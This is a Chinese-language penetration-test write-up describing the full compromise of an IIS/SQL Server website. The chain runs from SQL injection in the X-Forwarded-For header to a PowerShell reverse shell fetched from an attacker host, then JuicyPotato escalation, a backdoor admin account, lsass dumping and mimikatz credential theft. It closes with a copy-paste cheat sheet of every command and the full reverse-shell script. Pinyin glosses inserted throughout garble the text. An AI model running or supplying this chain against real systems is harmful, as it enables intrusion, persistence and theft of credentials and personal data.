項(xiàng)目實(shí)戰(zhàn) | 細(xì)節(jié)決定成敗的滲透測(cè)試

0x00 前言
個(gè)人水平有限,文章若有不足之處,感謝各位大佬批評(píng)指正,希望能夠與各位師傅分享學(xué)習(xí)。
目標(biāo)地址:http://www.xxx.com

找到ip地址,進(jìn)行訪問(wèn),發(fā)現(xiàn)ip為:x.x.x.x
![]()
使用ip地址進(jìn)行訪問(wèn)

0x01 信息收集
指紋識(shí)別結(jié)果:IIS10.0,asp.net ,Windows Server


爬取了一下網(wǎng)站,發(fā)現(xiàn)fackeditor,和很多接口

利用御劍目錄掃描,掃出來(lái)一些fackeditor的連接和upload目錄

0x02 測(cè)試階段
嘗試?yán)胒ackeditor的兩處上傳點(diǎn)進(jìn)行上傳,但是由于一直卡住傳不上去和上傳校驗(yàn)遂放棄了


對(duì)主站抓包測(cè)試發(fā)現(xiàn),網(wǎng)站返回訪問(wèn)者IP地址,依據(jù)經(jīng)驗(yàn)這里經(jīng)常存在XFF注入

截取數(shù)據(jù)包修改X-Forwarded-For:1.1.1.1

發(fā)現(xiàn)當(dāng)前ip并未變化說(shuō)明此處不存在XSS
習(xí)慣性的試了個(gè)單引號(hào),數(shù)據(jù)庫(kù)報(bào)錯(cuò)了,可能存在sql注入,并且泄露了絕對(duì)路徑。

構(gòu)造sqlserver注入語(yǔ)句:

' and 1=db_name()-- 返回?cái)?shù)據(jù)庫(kù)

' and 1=@@version-- 返回?cái)?shù)據(jù)庫(kù)版本
0x03 漏洞利用
既然手工這樣都可以注入出來(lái),那嘗試一下使用sqlmap。
X-Forwarded-For存在報(bào)錯(cuò),堆疊以及延時(shí)注入

--dbs 獲取所有數(shù)據(jù)庫(kù)

嘗試--os-shell,發(fā)現(xiàn)可以得到os-shell

嘗試執(zhí)行whomai,mssqlserver權(quán)限

當(dāng)前權(quán)限不夠,我們可以利用powershell來(lái)反彈shell,然后下載提權(quán)exp進(jìn)行提權(quán),然后添加用戶來(lái)登陸目標(biāo)服務(wù)器。
首先在vps利用python生成一個(gè)web
python3 -m http.server 8000
![]()
http://www.vps.com:8000/1.ps1
ps1文件可以訪問(wèn)

1.ps1的內(nèi)容里填入需要利用powershell反彈的vps和端口

vps監(jiān)聽9999端口,在os-shell中執(zhí)行以下命令
powershell?IEX?(New-Object?Net.WebClient).DownloadString('http://www.vps.com:8000/1.ps1');Invoke-lltestTcp
shell彈回來(lái)了

查看版本,版本是2016,64位。

現(xiàn)在嘗試提權(quán),利用爛土豆直接提,windows下載文件的方式有很多,這里選擇powershell的下載方式:
將爛土豆放在vps的web目錄

在彈回來(lái)的powershell中習(xí)慣性進(jìn)入c:\windows\tasks目錄,dir發(fā)現(xiàn)無(wú)文件,然后輸入
$ client=new-object?System.Net.WebClient
再輸入:
$client.DownloadFile('http://www.vps.com:8000/p1.exe','c:\windows\tasks\p1.exe')

成功下載提權(quán)exp到目錄,利用exp提權(quán)到system權(quán)限

接下來(lái)新建用戶,添加到管理員組
./p1.exe?-p?"net?user?admin?password?/add"./p1.exe?-p?"net?localgroup?administrators?admin?/add"./p1.exe -p "net user admin"發(fā)現(xiàn)用戶添加到管理員組成功。

接下來(lái)找rdp端口,判斷是否開放或者對(duì)外開放。
tasklist /svc |findstr "Ter"
![]()
查找TermService對(duì)應(yīng)的pid
通過(guò)pid來(lái)查找rdp端口,端口為11520
netstat -ano | findstr "1628"
通過(guò)nmap掃描IP地址發(fā)現(xiàn)11520端口對(duì)外開放,都不用做流量代理了,很舒服。

現(xiàn)在我們通過(guò)新建在管理員組的用戶登陸進(jìn)去

桌面上東西有點(diǎn)少,在這臺(tái)電腦里面翻東西有點(diǎn)廢時(shí)間,于是傳了個(gè)everything上去

因?yàn)椴皇莂dministrator,彈出來(lái)了uac,強(qiáng)迫癥的我還是想dump出這個(gè)管理員的密碼。

因?yàn)楝F(xiàn)在已經(jīng)進(jìn)了3389了,就直接在目標(biāo)服務(wù)器上傳mimikatz,省的去webshell里面執(zhí)行了。
傳上去一運(yùn)行就被殺了,土豆沒殺卻殺了mimiakatz,利用過(guò)了360和火絨的免殺mimikatz依然被殺。

對(duì)比tasklist /svc發(fā)現(xiàn)是微軟自帶的Microsoft Security Essentials

看來(lái)直接運(yùn)行mimikatz是不行了,那就嘗試導(dǎo)出lsass.dmp吧,導(dǎo)出lsass.dmp有很多種方法,免殺的有sqldumper和procdump,還可以利用powershell。
這里利用procdump導(dǎo)出了
procdump64.exe -accepteula -ma lsass.exe c:\lsass.dmp

但是很神奇,過(guò)了一會(huì)當(dāng)我準(zhǔn)備拷貝lsass.dmp到本地的時(shí)候發(fā)現(xiàn),lsass.dmp居然沒了,納尼?

不過(guò)不礙事,只要我手速夠快,就沒有問(wèn)題,納尼?手速夠快,拷貝速度不夠啊,還沒拷過(guò)來(lái)一丟丟呢,就直接出現(xiàn)了錯(cuò)誤,果然lsass.dmp果然又沒了。

那怎么辦,dump到其他盤符試試,還是沒了

那咱們利用sqldumper
通過(guò)everything搜索sqldumper,sqldumper的常見路徑如下:
C:\Program?Files\Microsoft?SQL?Server\100\Shared\SqlDumper.exeC:\Program?Files\Microsoft?Analysis?Services\AS?OLEDB\10\SQLDumper.exeC:\Program?Files?(x86)\Microsoft?SQL?Server\100\Shared\SqlDumper.exe
發(fā)現(xiàn)這個(gè)機(jī)器的sqldumper的路徑和平時(shí)遇見的不太一致,先試試吧

利用lsass.exe發(fā)現(xiàn)PID

"C:\Program?Files?(x86)\Microsoft?SQL?Server\130\Shared\SqlDumper.exe"?1316?0?0x01100dump失敗

換一個(gè)路徑,dump下來(lái)了SQLDmpr0001.mdmp

"C:\Program?Files\Microsoft?SQL?Server\130\Shared\SqlDumper.exe"?1316?0?0x01100復(fù)制到本地,管理員打開mimikatz,運(yùn)行以下語(yǔ)句,報(bào)錯(cuò)了,有點(diǎn)小難受,具體原因還不清楚,知道的師傅還請(qǐng)指點(diǎn)。
sekurlsa::minidump?SQLDmpr0001.mdmp"sekurlsa::logonPasswords full

利用sqldumper失敗了,那最后試試powershell吧,這個(gè)還是之前同事告訴我的,感謝同事
powershell?-c?"rundll32?C:\windows\system32\comsvcs.dll,?MiniDump?1316?C:\lsass.dmp?full"成功dump,

刷新了半天發(fā)現(xiàn)lsass.dmp還在,趕緊拷貝到本地利用mimikatz解密,ok感謝電腦,拷貝過(guò)來(lái)了

mimikatz解密一下
sekurlsa::minidump?lsass.dmpsekurlsa::logonPasswords full
Password那里是空的,在win10或者2012R2以上,默認(rèn)在緩存中禁止保存明文密碼,可以修改注冊(cè)表并且管理員需要重新登陸才能成功抓取明文,不過(guò)可以解密一下NTLM

nice,果然是收費(fèi)的,

找有錢的公司小姐姐花了一塊錢成功解密,感謝公司小姐姐,如果每一個(gè)做安全的都像我一樣摳門,這些網(wǎng)站估計(jì)要倒閉吧

我們利用administrator登陸一下
舒服了,桌面上多了很多東西,慢慢翻吧,

打開sqlserver management,windows身份認(rèn)證直接登陸上去:
賬號(hào)密碼郵箱手機(jī)號(hào)找到了

利用里面的賬號(hào)密碼發(fā)現(xiàn)都能登錄,登陸一下管理員用戶看看

不過(guò)這個(gè)站沒有內(nèi)網(wǎng),后來(lái)也就沒有進(jìn)行下去了。

后續(xù)在服務(wù)器繼續(xù)翻點(diǎn)配置文件的操作,用來(lái)寫報(bào)告的就不多贅述了。因?yàn)槭鞘跈?quán)的,痕跡也不用清了,接下來(lái)就是交報(bào)告了。
最后整理一下用到的命令吧,希望對(duì)喜歡ctrl+v的師傅們有些許幫助,祝各位師傅們身體健康,挖洞每天都是高危+嚴(yán)重。
sql注入測(cè)試:
' and 1=db_name()--' and 1=@@version--
python開啟web :
python3 -m http.server 8000
powershell反彈shell:
powershell?IEX?(New-Object?Net.WebClient).DownloadString('http://www.vps.com:8000/1.ps1');Invoke-lltestTcp1.ps1文件內(nèi)容:
function Invoke-lltestTcp{$client?=?New-Object?Net.Sockets.TCPClient('vps',port)$stream?=?$client.GetStream();[byte[]]$bytes?=?0..65535|%{0}while(($i?=?$stream.Read($bytes,?0,?$bytes.Length))?-ne?0){$data?=?(New-Object?-TypeName?System.Text.ASCIIEncoding).GetString($bytes,0,?$i)$sendback?=?(iex?$data?2>&1?|?Out-String?)$sendback2?=?$sendback?+?'PS?'?+?(pwd).Path?+?'>?'$sendbyte?=?([text.encoding]::ASCII).GetBytes($sendback2)$stream.Write($sendbyte,0,$sendbyte.Length)$stream.Flush()}$client.Close()}
powershell下載文件:
$client=new-object?System.Net.WebClient$client.DownloadFile('http://www.vps.com:8000/p1.exe',?'c:\windows\tasks\p1.exe')
查看操作系統(tǒng)版本:
wmic OS get Caption,CSDVersion,OSArchitecture,Version
爛土豆提權(quán)添加用戶:
./JuicyPotato.exe?-p?"whoami"./JuicyPotato.exe?-p?"net?user?admin?password?/add"./JuicyPotato.exe?-p?"net?localgroup?administrators?admin?/add"
查找rdp端口和進(jìn)程查看:
tasklist?/svc?|findstr?"Ter"netstat?-ano?|?findstr?"PID"tasklist /svc
procdump64導(dǎo)出lsass.dmp:
procdump64.exe -accepteula -ma lsass.exe c:\lsass.dmp
SqlDumper.exe導(dǎo)出SQLDmpr0001.mdmp:
tasklist?/svc?|findstr?lsass.exe?//查看lsass.exe的pid"C:\Program?Files\Microsoft?SQL?Server\100\Shared\SqlDumper.exe"?pid?0?0x01100
mimikatz解密SQLDmpr0001.mdmp:
sekurlsa::minidump?SQLDmpr0001.mdmpsekurlsa::logonPasswords full
powershell導(dǎo)出lsass.dmp:
powershell?-c?"rundll32?C:\windows\system32\comsvcs.dll,?MiniDump?1316?C:\lsass.dmp?full"mimikatz解密lsass.dmp:
sekurlsa::minidump?lsass.dmpsekurlsa::logonPasswords full
?
END.
歡迎轉(zhuǎn)發(fā)~
歡迎關(guān)注~
歡迎點(diǎn)贊~
